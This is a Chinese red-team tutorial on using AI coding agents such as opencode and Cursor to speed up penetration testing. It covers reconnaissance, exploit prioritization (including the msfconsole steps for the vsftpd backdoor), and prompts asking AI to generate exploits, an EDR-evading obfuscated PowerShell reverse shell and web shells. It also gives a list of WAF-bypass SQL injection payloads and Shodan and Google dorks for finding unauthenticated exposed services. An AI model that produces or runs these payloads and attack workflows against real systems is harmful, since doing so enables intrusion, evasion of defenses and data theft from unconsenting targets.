06 — AI 辅助红队攻防
前言:2025-2026年,AI 工具已经深度融入安全领域。opencode、Claude Code、Cursor、Copilot、DeepSeek 不再是”助手”——它们是武器。本教程不讨论 AI 理论、不研究 Transformer 架构、不扯神经网络权重。唯一的主题:怎么让 AI 帮你渗透得更快、更准、更难被发现。
环境:Arch Linux 物理机。已装 opencode-ai-bin、Claude Code(可选)、Cursor IDE(可选)、Ollama(可选)。
核心原则:AI 是倍增器,不是替代品。你不懂 SQL 注入,AI 给你 100 个 payload 也没用——你不知道哪个在什么场景生效。本教程假设你已具备基本的渗透测试知识。
实战1:用 opencode 做信息收集
opencode 的核心能力之一:你把自然语言需求给它,它理解后执行命令、解读输出、给出分析。不需要背 nmap 的 150 个参数——告诉它目标是什么。
1.3.1 端口扫描与分析
opencode -p "扫描 192.168.56.102 的开放端口,输出开放的端口号和服务名。用 nmap 做,不用 ping 预探测。"opencode 内部实际执行的命令(它会向你展示并请求确认):
nmap -Pn 192.168.56.102预期输出:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-17 10:30 CST
Nmap scan report for 192.168.56.102
Host is up (0.00042s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp open mysql
8080/tcp open http-proxy
9090/tcp open zeus-admin
Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds
opencode 会继续分析输出,告诉你:
目标 192.168.56.102 的扫描结果:
- 22/tcp (SSH) — 可能存在弱口令或SSH密钥泄露
- 80/tcp (HTTP) — Web服务,应进一步做目录爆破和技术栈识别
- 443/tcp (HTTPS) — 检查证书信息,可能泄露内部域名
- 3306/tcp (MySQL) — 数据库端口暴露极大风险,尝试空口令或弱口令连接
- 8080/tcp (HTTP-Proxy) — 可能是管理后台,如Tomcat/Jenkins
- 9090/tcp (zeus-admin) — Prometheus监控系统,可能未配置认证可读取metrics
优先攻击路径:
1. 先打 80/8080 — 用 gobuster 做目录爆破,用 whatweb 识别技术栈
2. 同时测 3306 — 用 hydra 或 msf 扫描 MySQL 弱口令
3. 查 9090 — 浏览器直接访问,看是否有认证
这才是 AI 的正确用法——它不只是跑命令,它解读结果、给出攻击建议。
1.3.2 版本探测与漏洞关联
在得到开放端口后,让 opencode 进一步做版本探测:
opencode -p "对 192.168.56.102 的 80, 443, 8080, 3306 端口做详细版本探测,输出服务软件和版本,并标注每个版本的已知高危漏洞"opencode 内部执行:
nmap -sV -p 22,80,443,3306,8080,9090 192.168.56.102预期输出:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
443/tcp open ssl/http Apache httpd 2.4.25 ((Debian))
3306/tcp open mysql MySQL 5.5.62
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
9090/tcp open http Prometheus Node Exporter 0.15.2
opencode 的分析输出:
高危漏洞总结:
| 服务 | 版本 | 已知漏洞 |
|------|------|----------|
| OpenSSH 7.4p1 | 旧版 | CVE-2018-15473 (用户枚举) |
| Apache 2.4.25 | 旧版 | CVE-2017-9798 (Optionsbleed), CVE-2019-0211 (本地提权) |
| MySQL 5.5.62 | EOL | 多个 RCE/Auth Bypass,且 5.5.x 已于2018年停止支持 |
| Apache Tomcat 1.1 | 需确认具体版本 | 常见的 CVE-2017-12617 (PUT 任意文件上传), CVE-2019-0232 (CGI RCE) |
| Prometheus Node Exporter 0.15.2 | 旧版 | 默认无认证,metrics 端点暴露内部信息 |
建议攻击顺序:
1. Tomcat 8080 端口 — 探测是否有默认凭证 (tomcat/tomcat),尝试 PUT 上传
2. MySQL 3306 — 用 msf / hydra 跑弱口令
3. Prometheus 9090 — 直接访问 /metrics 收集内部主机名、进程列表、网络连接
1.3.3 子域名枚举
一个目标域名的子域名往往藏着比主站更脆弱的服务。用 opencode 自动化这个流程:
opencode -p "对 example.com 做子域名枚举。先被动收集(subfinder),再主动爆破(用 gobuster dns 模式,字典用 /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt),合并去重,输出所有解析成功的子域名及其 IP"opencode 内部执行(分步,可能会依次确认):
# 第一步:被动收集
subfinder -d example.com -o /tmp/subfinder_example.txt
# 第二步:主动爆破
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o /tmp/gobuster_example.txt
# 第三步:合并去重
cat /tmp/subfinder_example.txt /tmp/gobuster_example.txt | sort -u > /tmp/all_subdomains_example.txt
# 第四步:解析 IP
while read sub; do
ip=$(dig +short "$sub" 2>/dev/null | head -1)
if [ -n "$ip" ]; then
echo "$sub → $ip"
fi
done < /tmp/all_subdomains_example.txt预期输出样例:
www.example.com → 93.184.216.34
mail.example.com → 93.184.216.35
admin.example.com → 93.184.216.36
dev.example.com → 192.168.1.100 ← 内网 IP 泄露!
api.example.com → 93.184.216.37
staging.example.com → 93.184.216.38
vpn.example.com → 93.184.216.39
opencode 的分析:
关键发现:
- dev.example.com 解析到 192.168.1.100 — 这是内网地址!DNS 记录泄露了内部网络拓扑
- admin.example.com 存在 — 管理后台入口,应首先测试弱口令和默认凭证
- vpn.example.com — VPN 网关,可能是网络边界突破口
- staging.example.com — 测试环境,通常安全配置较松
建议:
1. 用 whatweb 批量识别所有子域名的 Web 技术栈
2. 对 admin/staging/dev 优先做目录爆破
3. dev 域名解析到内网 IP,检查是否存在 DNS 重绑定攻击可能
1.3.4 分析 nmap 输出
有时候你已经有了一份 nmap 扫描结果(朋友给的、之前扫描的),丢给 opencode 让它分析:
opencode -p "分析这份 nmap 扫描输出,告诉我哪些端口值得深入渗透,为什么:
Nmap scan report for 10.10.10.100
Host is up (0.032s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.6.25 (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.1.73
6667/tcp open irc UnrealIRCd
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
"opencode 的分析输出:
这份扫描结果有多个高价值目标,按优先级排列:
【最高优先级 - 应立即验证】
1. vsftpd 2.3.4 (21/tcp)
→ 这个版本有著名的后门漏洞 (CVE-2011-2523 / Metasploit module: exploit/unix/ftp/vsftpd_234_backdoor)
→ 2011年7月 vsftpd 官方服务器被入侵,2.3.4 版本源码被植入后门
→ 攻击方法:用用户名带 :) 笑脸符号登录后,后门在 6200 端口开启 root shell
→ msfconsole: use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 10.10.10.100; run
2. UnrealIRCd (6667/tcp)
→ UnrealIRCd 部分版本有后门 (CVE-2010-2075)
→ msfconsole: use exploit/unix/irc/unreal_ircd_3281_backdoor
【高优先级】
3. Apache Tomcat 1.1 (8180/tcp)
→ 极可能是旧版,尝试 tomcat/tomcat 默认凭证
→ 如果有 Manager App 访问,可直接部署 WAR 包拿 shell
4. Samba 3.6.25 (139/445)
→ 已知漏洞 CVE-2012-1182 (root 代码执行)
→ 也可能适合通过 msf 的 smb_version 模块识别确切版本后查 exploit-db
5. MySQL 5.1.73 (3306/tcp)
→ 很老的版本,尝试空 root 密码连接
→ mysql -h 10.10.10.100 -u root --password=''
6. Apache 2.2.14 (80/tcp)
→ 非常陈旧,多个已知漏洞,但放在最后因为更有价值的目标在前面
建议攻击顺序:先打 vsftpd 后门(5分钟内可验证)→ 同时跑 UnrealIRCd 后门 → 然后 Tomcat 弱口令 → Samba → MySQL
把你拍的扫描截图或文本丢给 opencode,它不只是翻译——它用红队的思维帮你排优先级。
1.3.5 一条龙自动化侦察
让 opencode 对一个全新的目标做完整的侦察流程:
opencode -p "对 target.com 做完整的初始侦察:
1. 用 subfinder + amass 收集子域名
2. 对所有子域名用 whatweb 识别技术栈
3. 用 nmap 扫描主要的 Web 子域名的常见端口
4. 对发现的 Web 服务用 gobuster 做目录爆破(字典用 seclists 的 common.txt)
5. 汇总所有发现,列出可能的攻击面
所有中间结果保存到 /tmp/recon_target/ 目录,每一步完成后自动执行下一步。"opencode 会逐个命令执行、确认、继续。最后你会得到一份结构化的侦察报告。
操作提示:opencode 执行外部命令前会请求确认(除非你设置
--approval-mode yolo)。这是安全机制——你不会想让 AI 不受控制地对外部目标发起扫描。在渗透测试中,始终确认每条发出的网络请求的合法性。
1.3.6 opencode 不足和补救
opencode 基于 LLM,它的知识有截止日期。2025-2026 年的新漏洞它可能不知道。补救方法:
# 方法1:直接把 CVE 详情粘贴给它
opencode -p "CVE-2025-XXXXX 的描述如下:(粘贴详情)。根据这个漏洞,给 target.com 生成检测脚本"
# 方法2:给它参考链接
opencode -p "读取 https://github.com/xxx/cve-2025-poc 的 exploit 代码,改成适合 target.com 的版本"
# 方法3:给它 exploit-db 的搜索结果
opencode -p "以下是在 searchsploit 中搜索 'Apache 2.4.25' 的结果:(粘贴)。分析哪个最有利用可能"文件内容预览 ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
**opencode 会根据你系统的实际环境调整代码**——比如它知道你是 Arch Linux,会用 `#!/usr/bin/env python3` 而不是 `#!/usr/bin/python`,会考虑 Python 版本兼容性。
#### 1.4.2 根据漏洞扫描结果生成 exploit
如果你用漏洞扫描器(如 Nessus、OpenVAS)扫出了一个漏洞报告,直接把报告内容喂给 opencode:
```bash
opencode -p "根据以下 OpenVAS 扫描报告,生成针对性的 Python exploit:
漏洞名称: ProFTPD 1.3.5 Remote Command Execution
CVE: CVE-2015-3306
影响版本: ProFTPD 1.3.5
描述: ProFTPD 1.3.5 的 mod_copy 模块允许未认证用户通过 SITE CPFR 和 SITE CPTO 命令复制文件。攻击者可以利用这一点将 webshell 复制到 web 目录实现 RCE。
目标信息:
- IP: 10.10.10.5
- ProFTPD 运行在 21 端口
- Apache web 根目录在 /var/www/html/
- FTP 用户是 www-data
生成一个可用的 Python3 exploit 脚本,保存到 /home/a/tools/proftpd_rce.py
"
opencode 会生成完整脚本,包括 FTP 连接、SITE CPFR / SITE CPTO 命令发送、webshell 验证、反向 shell 支持等。
1.4.3 修改/适配现有 exploit
你在 exploit-db 上找到一个 exploit,但它是针对 Debian 的,你在攻击 CentOS 目标。让 opencode 帮你改:
opencode -p "读取 /home/a/tools/dirtycow.c(CVE-2016-5195 的原版 exploit),
修改它使得能在 CentOS 6.5 (kernel 2.6.32-431.el6.x86_64) 上编译和运行。
原版 exploit 假设 /usr/bin/passwd 存在——CentOS 6 上这个路径是 /bin/passwd,请修正。
同时添加注释说明每段代码的作用。"opencode 会读取文件、理解代码逻辑、修改适配目标环境。它不只是搜索替换——它理解 C 代码。
实战4:opencode 自定义命令(Custom Commands)
opencode 支持自定义命令(Custom Commands / slash commands),让你把常用的渗透流程模板化。一次编写,随时调用。
1.6.1 创建命令目录
mkdir -p ~/.config/opencode/commands/1.6.2 快速端口扫描命令
cat > ~/.config/opencode/commands/quick_scan.md << 'EOF'
对 $ARGUMENTS 执行快速扫描:
1. 用 masscan 扫描所有 65535 个端口(速率 1000 pps)
2. 提取开放端口列表
3. 用 nmap 对开放端口做详细版本探测 (-sV)
4. 用 nmap 对开放端口做 NSE 脚本扫描 (-sC)
5. 汇总所有输出,列出:
- 每个开放端口的服务名称和版本
- 每个服务的已知漏洞(searchsploit 查询)
- 攻击建议:按优先级排列的攻击路径
输出格式:分三个部分
- 第一部分:端口服务清单
- 第二部分:漏洞匹配结果
- 第三部分:攻击建议
所有中间文件保存到 /tmp/scan_$(date +%s)/
EOF使用方式:在 opencode 交互模式中输入 /quick_scan 192.168.56.0/24 或在命令行中:
opencode -c "/quick_scan 192.168.56.0/24"1.6.3 Web 目录爆破命令
cat > ~/.config/opencode/commands/web_enum.md << 'EOF'
对 $ARGUMENTS 做 Web 服务枚举:
步骤:
1. whatweb 识别技术栈
2. gobuster 目录爆破 — dir 模式,字典用 /usr/share/seclists/Discovery/Web-Content/common.txt
3. ffuf 对 PHP/ASP/ASPX 扩展名做模糊测试
4. nikto 漏洞扫描
5. 如果是 WordPress: wpscan --enumerate p,u,t
6. 如果是 Drupal: droopescan scan drupal
7. 汇总结果,生成报告
要求:
- 每个工具的输出都保存
- 最终整合一个 "值得深挖的 URL" 列表
- 对发现的后台登录页标注出来
EOF1.6.4 Windows 横向移动命令
cat > ~/.config/opencode/commands/lateral_move.md << 'EOF'
对 $ARGUMENTS 执行 Windows 域渗透侦察:
1. 用 crackmapexec 扫描 SMB 端口 445
2. 列出所有运行 SMB 的主机
3. 尝试空会话枚举 (enum4linux)
4. 用 impacket-secretsdump 尝试获取 SAM (如果有凭据)
5. 用 bloodhound-python 收集 AD 信息
6. 汇总:哪些主机有 SMB 签名关闭、哪些有可访问共享
注意事项:
- 所有操作假设已获得合法授权
- crackmapexec 默认不使用 --shares 以避免大量 SMB 流量
- 如果提供了用户名/密码,使用 -u -p 参数并尝试 Pass-the-Hash
EOF1.6.5 漏洞验证快速命令
cat > ~/.config/opencode/commands/vuln_check.md << 'EOF'
对 $ARGUMENTS 做漏洞验证:
1. 读取目标的服务版本信息
2. 用 searchsploit 搜索每个服务版本
3. 对每个找到的 exploit,判断:
- 是否有 Metasploit 模块
- 是否有公开 PoC
- 利用成功率评估
4. 输出一个表格:服务 | 版本 | CVE | Exploit路径 | MSF模块 | PoC可用性
5. 如果发现 RCE 级别的漏洞,生成检测脚本
EOF1.6.6 使用自定义命令
所有自定义命令在 opencode 交互界面中通过 / 前缀调用:
# 启动 opencode 交互模式
opencode
# 在交互界面中输入
> /quick_scan 10.10.10.5
> /web_enum https://admin.target.com
> /lateral_move 10.10.10.0/24
> /vuln_check 10.10.10.5关键洞察:自定义命令的价值在于把你自己积累的渗透经验编码成可复用的模板。你的每一个成功案例、每一个标准操作流程,都可以变成一个命令。下一次面对类似目标,AI 按照你的思路自动执行——这是你最熟悉的”队友”。
Part 2: 用 AI 搜索暴露的资产
AI 不只是帮你跑命令——它能帮你思考和制定策略。Google Dork、Shodan 语法、FOFA 查询——这些搜索引擎本身不是 AI,但 AI 能帮你生成高度精准的搜索语法。
实战6:AI 辅助 Google Dork 生成
2.1.1 在 opencode 或任何 AI 中生成 Dork
opencode -p "给我生成 15 条 Google Dork,用来找暴露的 phpMyAdmin 页面。
要求:
- 覆盖不同的 URL 模式(/phpmyadmin, /pma, /mysql, /admin/phpmyadmin 等)
- 包含 intitle 和 inurl 组合
- 排除已知的 honeypot 特征
- 注释每条 dork 的作用"opencode 输出:
以下是 15 条 Google Dork,用于搜索公网暴露的 phpMyAdmin:
1. intitle:"phpMyAdmin" "Welcome to phpMyAdmin"
→ 最直接的搜索,匹配 phpMyAdmin 标题页
2. intitle:"phpMyAdmin" intext:"MySQL" intext:"localhost"
→ 找默认配置的 phpMyAdmin(数据库连本地)
3. inurl:/phpmyadmin/index.php
→ 最常见路径,直接匹配 index.php
4. inurl:/pma/ intext:"phpMyAdmin"
→ 匹配简写路径 /pma (常见别名)
5. intitle:"phpMyAdmin" "Language" "Log in"
→ 匹配登录页面,含有 Language 和 Log in 字样
6. inurl:/phpMyAdmin/ intext:"running on"
→ 底部通常显示 "phpMyAdmin running on localhost"
7. inurl:phpMyAdmin intext:"root" -intext:"Welcome"
→ 找默认 root 登录后的页面(排除欢迎页)
8. intitle:"phpMyAdmin" inurl:"/phpmyadmin" site:edu
→ 限定教育机构域名(.edu),往往安全配置较松
9. intitle:"phpMyAdmin" "setup.php" -"Configuration"
→ 未删除的 setup.php 目录——旧版 phpMyAdmin 的严重安全隐患
10. inurl:/mysql/admin/ intext:"phpMyAdmin"
→ 某些主机面板(如 Plesk)的 phpMyAdmin 路径
11. intitle:"phpMyAdmin" "Error" "Access denied"
→ 找登录失败的页面——说明服务在运行但可能未正确配置
12. inurl:"/phpmyadmin" intitle:"Index of"
→ 找开了目录浏览的 phpMyAdmin 目录——源码可能直接暴露
13. "phpMyAdmin MySQL-Dump" filetype:sql
→ 查找通过 phpMyAdmin 导出的数据库 dump 文件
14. inurl:"phpmyadmin" "config.inc.php" filetype:php
→ 最危险:配置文件包含数据库密码
15. intitle:"phpMyAdmin" "Welcome" "Language" -"demo" -"sandbox"
→ 综合搜索,排除 demo 和 sandbox 环境
2.1.2 生成 Shodan / FOFA 搜索语法
opencode -p "给我生成以下场景的 Shodan 搜索语法:
1. 公网暴露且无密码认证的 MongoDB 数据库
2. 开放 6379 端口且无密码的 Redis
3. 运行 Elasticsearch 且未配置认证的实例
4. 开放 Docker API (2375/2376) 无 TLS 的设备
5. 开放 VNC 且无需密码的远程桌面
每条语法后面标注使用方式"输出:
【MongoDB 无密码认证】
Shodan: product:"MongoDB" -"authentication"
Shodan: product:"MongoDB" "MongoDB Server Information" -"auth"
→ 匹配 MongoDB 但排除已开启认证的
【Redis 无密码】
Shodan: product:"Redis" "redis_version"
Shodan: port:6379 -"requirepass"
→ Redis 默认无密码,大部分不需要认证即可连接
【Elasticsearch 无认证】
Shodan: product:"Elasticsearch" "cluster_name"
Shodan: port:9200 "lucene_version" -"shield"
→ shield 是 Elastic 的安全插件
【Docker API 暴露】
Shodan: port:2375 product:"Docker"
Shodan: port:2376 "Docker" -"TLS"
→ 2375 无 TLS, 2376 有 TLS 但同样可能暴露
【VNC 无密码】
Shodan: "RFB" "authentication" -"password" port:5900
Shodan: "RFB 003.008" port:5900
→ RFB (Remote Frame Buffer) 是 VNC 协议
【综合搜索——一网打尽所有未认证数据库】
Shodan: category:"database" -"auth" -"password" -"ssl"
2.1.3 生成 FOFA 搜索语法(中国国内常用的资产搜索引擎)
opencode -p "给我生成 FOFA 搜索语法,找中国境内开放的远程桌面端口(3389)。
需要排除蜜罐特征,只保留真正的 Windows 主机。
同时给出找暴露的 Jenkins、Kibana、Grafana 的语法。"实战8:AI 辅助 Payload 生成
AI 绕 WAF 的能力比手动构造快得多——它理解 WAF 规则,能生成多层编码、混淆、拆分的 payload。
2.3.1 SQL 注入绕过 WAF
opencode -p "生成 10 个绕过 ModSecurity + MySQL 的 SQL 注入 payload。
目标语句: SELECT * FROM users WHERE id = [注入点]
要求:
- 10 个 payload 用不同技术:注释混淆、大小写变换、内联注释、等价替换、编码等
- 每个 payload 标注使用的绕过技术
- 假设 ModSecurity 启用了 SQL 注入核心规则集 (CRS)
- 前 3 个应该是最可能成功的
"opencode 输出:
【10 个绕过 ModSecurity + MySQL 的 SQL 注入 payload】
1. 内联注释 + 空白替换
Payload: 1/*!50000union*/%09/*!50000select*/%091,2,3--
技术: MySQL 专属内联注释 (/*!...*/) + TAB 替换空格
原理: ModSecurity 正则通常匹配 "UNION SELECT" 间的空格,
内联注释中的 /!50000/ 让 MySQL 执行但 WAF 视为注释
2. 科学计数法 + NULL 混淆
Payload: 1e0union select~1,2,database()--
技术: 科学计数法 (1e0 = 1) 让数字和关键字连在一起,规避字边界检测
3. 浮点数 + 反引号
Payload: 1.0union%0aselect%0a`version`()--
技术: 浮点数 + 换行 (%0a) + 反引号包裹函数名
4. 双重 URL 编码
Payload: %31%2527%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74
解码后: 1' union select
技术: 双重 URL 编码,某些 WAF 只解码一次
5. 等价函数替换
Payload: 1 || 1=1 ORDER BY 1-- -
技术: 用 OR 替代传统注入,用 || 替代 OR
6. 十六进制编码
Payload: 1 UNION SELECT 0x61646d696e,2,3--
技术: 用0x十六进制代替字符串 'admin',绕过关键字匹配
7. 多行注释分割
Payload: 1/**/UNION/**/SELECT/**/1,2,3--%0d%0a
技术: 空注释 /**/ 分割每个关键字,加 CRLF 结尾
8. 等价运算符
Payload: 1 && 1=1 && substring(@@version,1,1)=5
技术: AND → &&, 用 @@version 代替 version()
9. 字符集编码
Payload: 1 UNION SELECT 1,2,LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100))
技术: CHAR() 函数将路径转换为 ASCII 码序列,文件名完全不可见
10. 零宽字符注入 (Zero-width space)
Payload: 1UNIONSELECT1,2,3
技术: 在关键字中插入零宽空格 (U+200B),人眼不可见但不影响 SQL 解析
注意:部分 WAF 已检测零宽字符
2.3.2 XSS Payload 生成
opencode -p "生成 10 个不同场景的 XSS payload:
场景:
1. 基础弹窗 (在 <script> 标签内)
2. 绕过 strip_tags (PHP 去除所有 HTML 标签)
3. 绕过 htmlspecialchars (无 ENT_QUOTES)
4. 在 href 属性内
5. 在 onerror/onload 等事件处理器内
6. SVG 文件上传 XSS
7. 绕过 CSP (Content-Security-Policy)
8. DOM 型 XSS (# 后面)
9. Angular/React 模板注入
10. 多阶段编码(URL编码 + HTML实体 + JS Unicode)
每个 payload 标注:
- 注入上下文 (脚本标签内/属性内/DOM/等)
- 绕过的防御措施
- 是否依赖用户交互
"2.3.3 PowerShell 反弹 Shell 生成
opencode -p "生成一个多层混淆的 PowerShell 反弹 shell。
要求:
- 最终效果:反弹连接到 10.10.14.5:4444
- 第一层:Base64 编码
- 第二层:字符串分割拼接
- 第三层:变量名随机化
- 第四层:压缩后 Base64 编码 (Gzip + Base64)
- 不使用常见的 Invoke-Expression / iex (已被 EDR 重点监控)
- 使用 .NET 的 [System.Reflection.Assembly]::Load() 方式
同时生成解码脚本(用来测试 payload 是否正常执行)"2.3.4 一键生成多种 Web Shell
opencode -p "生成 5 种不同语言的单行 Web Shell (one-liner):
1. PHP — 支持文件上传、命令执行、文件浏览
2. JSP — 最简单的命令执行
3. ASPX — 支持 cmd.exe 执行
4. Python (针对 mod_wsgi / Flask 环境)
5. Node.js (针对 Express / connect 中间件)
每个 shell 的要求:
- 单文件、单行(尽可能紧凑)
- 密码参数化(可自定义)
- 通过 GET 参数传递命令
- 有基本的错误处理(不报 500)
"实战10:Cursor 写红队代码
Cursor 是基于 VS Code 的 AI IDE。它的优势在于你有完整的 IDE 环境——语法高亮、调试器、终端、Git 集成——AI 嵌入在这个环境中。
3.2.1 安装 Cursor
# Arch Linux — 通过 AUR
yay -S cursor-bin或者从官网下载 AppImage:https://cursor.com
启动后,用你的 GitHub 或 Google 账号登录。免费版有使用限额,Pro 版 ($20/month) 无限使用。
3.2.2 用 Cursor 写红队扫描器
在 Cursor 中新建项目 /home/a/tools/custom_scanner/,打开后在 Composer 面板(Ctrl+I)中输入:
写一个 Python 端口扫描器,要求:
1. 支持 TCP SYN 扫描(需要 root,用 scapy 构造原始包)和 TCP Connect 扫描(无需 root)
2. 支持指定端口范围 (如 1-1000, 80,443,8080)
3. 自动检测是否能发 SYN 包,不能则回退到 Connect 扫描
4. 多线程并发,默认 100 线程
5. 扫描结果实时输出(打印进度条)
6. 输出格式:{IP}:{PORT} {STATE} {SERVICE_NAME}
7. 服务识别:根据端口号查询常见服务名
8. 使用 argparse,生成 --help
所有代码写在一个文件 scanner.py 中。用 Python3 标准库优先,scapy 作为可选依赖。
Cursor 会在你的项目中生成代码,你可以在 IDE 中调试、运行、修改——AI 持续理解你改了什么。
3.2.3 用 Cursor 重构现有红队工具
如果你有一堆散乱的 Python 脚本,让 Cursor 帮你整理成一个项目:
在 Cursor 中打开包含多个脚本的目录,然后在 Composer 中输入:
这个目录下有 12 个 Python 脚本,都是渗透测试工具。帮我重构:
1. 把重复的工具函数(端口扫描、HTTP 请求、日志、参数解析)提取到 /lib/ 公共库
2. 每个独立工具放在 /tools/ 下,从 lib 导入公共函数
3. 写一个主入口 /main.py,通过子命令调用各个工具
4. 统一日志格式、错误处理、超时配置
5. 添加 requirements.txt
6. 保持所有原有功能不变
先分析所有文件,给出重构方案,我确认后再执行。
3.2.4 用 Cursor 快速分析别人的 exploit
你在 exploit-db 上下载了一个 exploit,想理解它做了什么:
在 Cursor 中打开 exploit.py,然后在 Composer 中:
逐行分析这个 exploit 脚本:
1. 它利用了哪个漏洞(CVE编号)
2. 每个主要函数的用途
3. 数据流:输入 → 处理 → 输出
4. 网络请求的具体 payload
5. 有哪些可能失败的步骤
6. 如果要移植到 Python3,需要改哪些地方
在源码中插入注释(以 # AI-ANALYSIS: 开头),不要修改任何功能代码。
Cursor 会在你的代码中插入详细注释——不是覆盖原代码,而是添加解释。
3.2.5 Cursor 的实际使用技巧
技巧1:用 @file 引用相关文件
在 Composer 中:
"参考 @utils/payloads.py 中的 base64 编码函数,在 @exploit.py 的 deliver_payload()
函数中添加 WAF 绕过编码层"
技巧2:用 @folder 引入整个目录的上下文
"参考 @tools/ 目录下的所有扫描器,帮我写一个新的 SMB 版本扫描器,
遵循已有代码的风格和参数命名约定"
技巧3:用 Agent 模式自动查找和修改
在 Composer 中切换到 Agent 模式:
"把项目中所有 print() 调试输出改成使用 logging 模块。
为每个文件创建 logger,级别是 DEBUG。搜索所有 Python 文件并修改。"
Agent 模式会自动搜索文件、定位代码、逐一修改——你只需审核变更。
实战12:用本地 LLM 分析敏感数据
这是本地 LLM 在红队工作中真正的价值——你能安全地分析不能上传到云端的数据。
4.2.1 分析防火墙日志(不泄露网络拓扑)
# 假设你拿到了目标内网的 iptables 规则导出
sudo iptables-save > /tmp/iptables_rules.txt
opencode --model ollama/qwen2.5:14b -p "
分析以下 Linux iptables 防火墙规则。这份数据来自我授权的安全测试环境。
规则内容:
$(cat /tmp/iptables_rules.txt)
请分析:
1. 入站和出站策略是白名单还是黑名单模式
2. 哪些端口对外部开放(列出端口和协议)
3. 是否有允许内网范围流量的规则(如果有,内网范围是什么)
4. 是否有明显的配置错误(如允许了危险端口)
5. 根据规则推断网络架构(DMZ?内网分段?)
6. 给出绕过建议——基于规则的弱点
"预期输出:
【防火墙规则分析】
1. 策略模式:默认 DROP + 白名单(看到了很多 -j ACCEPT 针对特定端口)
2. 对外暴露的端口:
- 22/tcp (SSH) — 仅限 10.0.0.0/8
- 80/tcp (HTTP) — 全开放
- 443/tcp (HTTPS) — 全开放
- 8080/tcp — 仅限 192.168.0.0/16(管理后台)
- 3306/tcp — 仅限 10.0.1.0/24(数据库层)
3. 内网范围推断:
- 10.0.0.0/8 — 内部网络(可能是 VPN 网段)
- 192.168.0.0/16 — 管理网络
- 10.0.1.0/24 — 数据库层(MySQL 仅对此段开放)
4. 网络架构推断:
外部 → 反向代理 (80/443) → Web 层 (10.0.0.0/8) → 数据库 (10.0.1.0/24)
管理平面 (192.168.0.0/16) 可访问所有层(包括 8080 和 3306)
5. 配置问题:
- SSH 限制在 10.0.0.0/8 — 范围过大,如果 Web 层被攻破就能 SSH 到其他机器
- 80/443 全开放 — Web 漏洞直接暴露
- 管理后台 8080 仅 IP 限制 — 无应用层认证
6. 攻击建议:
- 优先打 80/443 的 Web 应用
- 拿到 Web shell 后,利用 10.0.0.0/8 内的 SSH 信任关系横向移动
- 如果 Web 层有 SSRF,可以访问 10.0.1.0/24 的数据库
4.2.2 分析认证日志(不泄露凭据)
# 收集认证相关日志(仅在授权测试环境)
cat /var/log/auth.log | grep -E "sshd|sudo|su " > /tmp/auth_analysis.log
opencode --model ollama/deepseek-r1:7b -p "
分析以下认证日志片段。找出可疑或异常的行为模式:
$(head -200 /tmp/auth_analysis.log)
分析维度:
1. 有哪些用户在尝试登录
2. 是否存在爆破行为(同一来源多个失败)
3. 是否有异常的登录时间(凌晨3点?)
4. 是否有不应该存在的用户执行了 sudo
5. 是否存在横向移动迹象(从A机器SSH到B机器)
"4.2.3 分析漏洞扫描报告(排除误报)
opencode --model ollama/qwen2.5:14b -p "
分析以下 Nessus/OpenVAS 扫描报告摘要。找出可能的误报,并重排漏洞优先级:
(粘贴扫描报告的 'Vulnerabilities' 章节,包含漏洞名称、CVE、CVSS评分、描述)
输出格式:
| 漏洞名 | 报告CVSS | 实际风险 | 误报?| 原因 |
|--------|----------|----------|--------|------|
| Apache 2.4.x | 7.5 | 高 | 否 | 版本确认过期 |
| SSL 弱加密 | 4.3 | 低 | 是 | 仅出现在内部测试端口,不对外暴露 |
...
最后给出应该优先处理的 5 个漏洞及验证命令。
"4.2.4 数据私密性验证
任何时候当你用本地模型分析了敏感数据,可以验证数据没有泄漏:
# Ollama 运行在 localhost:11434,不对外暴露
ss -tlnp | grep 11434
# 预期输出:只监听 127.0.0.1
# LISTEN 0 4096 127.0.0.1:11434 ...
# 检查是否有外连
ss -tnp | grep ollama | grep -v 127.0.0.1
# 如果输出为空 → 没有外部连接 → 数据安全附录 A: AI 红队工具对比
| 工具 | 安装方式 | 适用场景 | 数据隐私 | 上手难度 |
|---|---|---|---|---|
| opencode | yay -S opencode-ai-bin | 终端工作流、侦察、分析、脚本生成 | 取决于后端(本地 Ollama = 100% 本地) | |
| Claude Code | npm i -g @anthropic-ai/claude-code | 大型项目开发、exploit 开发 | 数据发送至 Anthropic 云端 | |
| Cursor | yay -S cursor-bin | IDE 内代码编写、重构、分析 | 数据发送至 Cursor 云端 | |
| GitHub Copilot | VS Code 插件 | 行内代码补全 | 数据发送至 GitHub 云端 | |
| Ollama + opencode | 见 Part 4 | 敏感数据本地分析 | 100% 本地 | |
| ChatGPT / DeepSeek Web | 浏览器 | 通用咨询、Dork 生成、Payload 头脑风暴 | 数据发送至云端 |
附录 B: opencode 常用技巧速查
# 基本用法
opencode -p "需求描述" # 单次执行,输出结果
opencode # 交互模式
# 指定模型
opencode --model claude-sonnet-4-20250514 -p "..." # Anthropic
opencode --model ollama/qwen2.5:14b -p "..." # 本地 Ollama
# 文件操作
opencode -p "读取 /path/to/file 分析..." # 读取文件
opencode -p "修改 /path/to/file 把 A 改成 B" # 编辑文件
opencode -p "在 /path/to/ 创建新文件 xxx.py ..." # 创建文件
# 运行命令(需要确认)
opencode -p "运行 nmap -sV target.com 分析结果"
